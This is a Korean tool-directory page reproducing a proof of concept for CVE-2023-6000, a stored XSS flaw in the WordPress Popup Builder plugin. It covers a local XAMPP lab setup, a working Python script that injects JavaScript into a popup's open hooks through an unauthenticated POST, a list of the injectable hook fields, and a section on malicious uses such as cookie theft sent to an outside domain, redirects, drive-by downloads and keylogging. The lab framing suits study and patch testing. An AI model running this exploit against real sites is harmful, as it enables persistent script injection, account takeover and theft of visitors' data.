Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/ronf98/cve-2023-6000-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubronf98/cve-2023-6000-poc

CVE-2023-6000-POC

이 취약점은 WordPress 팝업 플러그인의 XSS 결함을 보여주며, 공격자가 저장형 XSS를 통해 악성 JavaScript를 주입할 수 있도록 합니다.

저장소 보기
111년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

일반 세부 정보

  • CVE-ID : CVE-2023-6000
  • CVSS 점수 : 6.1
  • 유형 : 저장형 XSS
  • 수정된 버전 : Popup Builder 4.2.3

이 취약점은 공격자가 WordPress Popup Builder 플러그인의 교차 사이트 스크립팅(XSS) 결함을 악용할 수 있도록 합니다. 플러그인이 일반 방문자가 기존 팝업을 수정하는 것을 막지 못하며, 공격자가 특수하게 조작된 요청을 서버에 보내면 악성 스크립트를 팝업에 주입할 수 있으며, 사용자가 팝업과 상호작용할 때 해당 스크립트가 실행됩니다.

이 POC에서는 팝업의 열림 동작을 조작하여 취약점이 트리거되며, 간단한 알림 스크립트가 팝업이 열릴 때 실행되도록 주입됩니다. 이러한 유형의 공격은 승인되지 않은 중요한 정보 접근, 영향을 받은 웹사이트의 추가 악용, 사용자 데이터 또는 전체 사이트 손상 등 다양한 문제로 이어질 수 있습니다.

POC 환경 설정

  1. XAMPP를 다운로드하여 로컬 웹 서버 호스팅 (최신 버전)
  2. SQL 데이터베이스 생성
  3. WordPress 설치 (최신 버전)
  4. WordPress 관리자 페이지에 접속하여 취약한 버전의 Popup Builder(<4.2.3) 설치
  5. 취약점을 보여주기 위한 간단한 프론트 페이지와 팝업 설정

1단계: XAMPP

이 POC에서는 Windows 10 머신을 사용하여 XAMPP를 다운로드할 수 있습니다: https://www.apachefriends.org/download.html
설치 후 Apache와 MySQL 모듈을 켜야 합니다:

image

2단계: SQL DB

WordPress는 대부분의 콘텐츠 관리 시스템과 마찬가지로 모든 필수 데이터를 저장할 데이터베이스가 필요합니다. 우리가 생성할 SQL 데이터베이스는 이 모든 정보의 중앙 저장소 역할을 합니다.

  • 브라우저에서 http://localhost/phpmyadmin 으로 이동
  • 데이터베이스 탭으로 이동하여 새 데이터베이스 생성 (예: wordpress_db)
  • 데이터베이스 이름을 기억해 두세요. WordPress 설정 중 필요합니다.
  • 3단계: WordPress

    • 공식 사이트(https://wordpress.org/download/)에서 WordPress 다운로드
    • 다운로드 후 WordPress zip 파일을 XAMPP 설치 디렉토리인 C:\xampp\htdocs\ 폴더에 압축 해제
    • 그런 다음 http://localhost/wordpress 로 이동하면 설치 화면이 나타납니다.
    • 데이터베이스 이름에 우리가 생성한 SQL DB 이름을 입력하고 나머지는 기본값으로 둡니다 (사용자: root, 비밀번호: 비어 있음 (XAMPP 기본값)).
    • 데이터베이스 연결이 성공하면 나중에 접근할 관리자 사용자를 설정할 수 있습니다.

    4단계: Popup Builder

    취약한 버전의 Popup Builder 플러그인은 공식 사이트에서 다운로드할 수 있습니다: https://wordpress.org/plugins/popup-builder/advanced/
    4.2.3에서 수정되기 이전의 오래된 버전을 선택하세요:
    image
    그런 다음 WordPress 관리자 페이지(http://localhost/wordpress/wp-login.php)로 이동합니다.
    Plugins -> Add New Plugin -> Upload Plugin -> 다운로드한 .ZIP 파일을 선택하여 설치

    5단계: 프론트 페이지와 팝업

    WordPress 관리자 페이지에서 Pages -> Add New Page -> Choose a Pattern으로 이동하여 간단한 프론트 페이지를 만들 수 있습니다.
    팝업의 경우 Popup Builder -> Add New -> 유형 선택 및 사용자 지정으로 이동합니다.
    이 POC에서는 구독 팝업을 선택했습니다. 이는 오늘날 웹사이트에서 가장 흔히 볼 수 있는 팝업 중 하나이기 때문입니다.
    image

    Display Rules 탭에서 팝업을 프론트 페이지에 연결할 수 있습니다:
    image

    이제 http://localhost/wordpress/ 로 프론트 페이지에 접속하면
    팝업이 트리거되는 것을 볼 수 있습니다.

    익스플로잇

    익스플로잇을 실행하려면 먼저 팝업 ID를 식별해야 합니다.
    이는 사이트로 이동하여 팝업을 트리거하고 개발자 도구의 Network 탭을 열어 수행할 수 있습니다.
    admin-ajax.php 요청을 찾으세요. 이는 AJAX 요청을 처리하는 WordPress 핵심 구성 요소입니다.
    Popup Builder는 이를 활용하여 WordPress 내에서 팝업 저장, 업데이트, 미리보기, 제어 등의 기능을 관리합니다.

    Payload 탭에서 팝업 ID를 찾을 수 있습니다:

    image

    팝업 ID를 찾은 후 다음 스크립트를 사용하여 익스플로잇을 트리거할 수 있습니다:

    root@kitploit:~
    import requests
    
    # 취약한 사이트의 대상 URL 정의
    url = "http://localhost/wordpress/"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
        }
    data = {
        "sgpb-is-preview": "1",
        "post_ID": "22",     #찾은 팝업 ID 사용
        "sgpb-type": "html",
        "sgpb-WillOpen": "alert('Stored XSS Executed Successfully');"     #사용자 정의 JS 코드 입력
        }
    
    # POST 요청 전송 및 결과 출력
    response = requests.post(url, data=data)
    print(response.text)
    

    추가 옵션

    팝업을 편집할 수 있으므로 사용자 정의 JS의 트리거 타이밍도 제어할 수 있습니다. WordPress 관리자 페이지의 팝업 설정에서 "Custom JS or CSS" 옵션을 볼 수 있으며, 이를 통해 사용자 정의 코드의 타이밍을 제어할 수 있습니다:

    • "sgpb-ShouldOpen" : 팝업이 열리기 시작하기 전에 실행되어 열려야 하는지 확인합니다.
    • "sgpb-WillOpen" : 팝업이 열리기 직전에 실행되어 마지막 순간의 작업을 허용합니다.
    • "sgpb-DidOpen" : 팝업이 완전히 열린 직후에 실행되며, 로드 후 작업(예: XSS)에 이상적입니다.
    • "sgpb-ShouldClose" : 팝업이 닫히기 시작하기 전에 트리거되는 확인 또는 작업입니다.
    • "sgpb-WillClose" : 팝업이 닫히기 직전에 실행되어 최종 변경을 허용합니다.
    • "sgpb-DidClose" : 팝업이 완전히 닫힌 직후에 실행됩니다.

    image

    그런 다음 원하는 용도에 따라 이를 스크립트에 통합할 수 있습니다.

    실행

    스크립트를 트리거한 후 WordPress 관리자 페이지에서 팝업의 사용자 지정 JS 섹션에 새 줄이 추가된 것을 볼 수 있습니다:

    image

    이제 일반 사용자로 사이트에 접속하면 다음과 같은 메시지가 표시되는 것을 볼 수 있습니다:

    image

    또한 메시지가 SQL 데이터베이스(기본적으로 wp_postmeta 테이블)에 저장된 것을 확인할 수 있으며, 이는 저장형 XSS임을 확인합니다:

    image

    가능한 용도

    Popup Builder 플러그인의 이 저장형 XSS 취약점은 공격자가 사용자가 감염된 팝업과 상호작용할 때마다 실행될 수 있는 악성 JavaScript를 삽입할 수 있게 합니다. 다음은 악의적으로 이를 악용하는 방법입니다:

    • 세션 하이재킹 : 악성 JS 코드가 세션 쿠키를 훔쳐 외부 도메인으로 전송하여 공격자가 사용자 계정을 탈취할 수 있습니다.
    • 리디렉션 : 스크립트가 사용자를 가짜 로그인 페이지나 다른 악성 사이트로 리디렉션할 수 있습니다 (다음 JS 코드를 추가하여 수행 가능: window.location.href = 'https://facebook.com')
    • 드라이브 바이 다운로드 : 공격자가 악성 파일의 다운로드를 트리거하여 사용자가 무의식적으로 악성코드를 설치하게 할 수 있습니다.
    • 디페이스먼트 및 오정보 : 주입된 스크립트가 페이지 콘텐츠를 조작하여 사이트를 훼손하거나 사용자에게 잘못된 정보를 표시할 수 있습니다.
    • 키로거 : 악성 스크립트를 사용하여 사용자의 키 입력을 기록하고 민감한 데이터와 개인 정보를 탈취한 후 공격자의 도메인으로 전송할 수 있습니다.
    도구 다운로드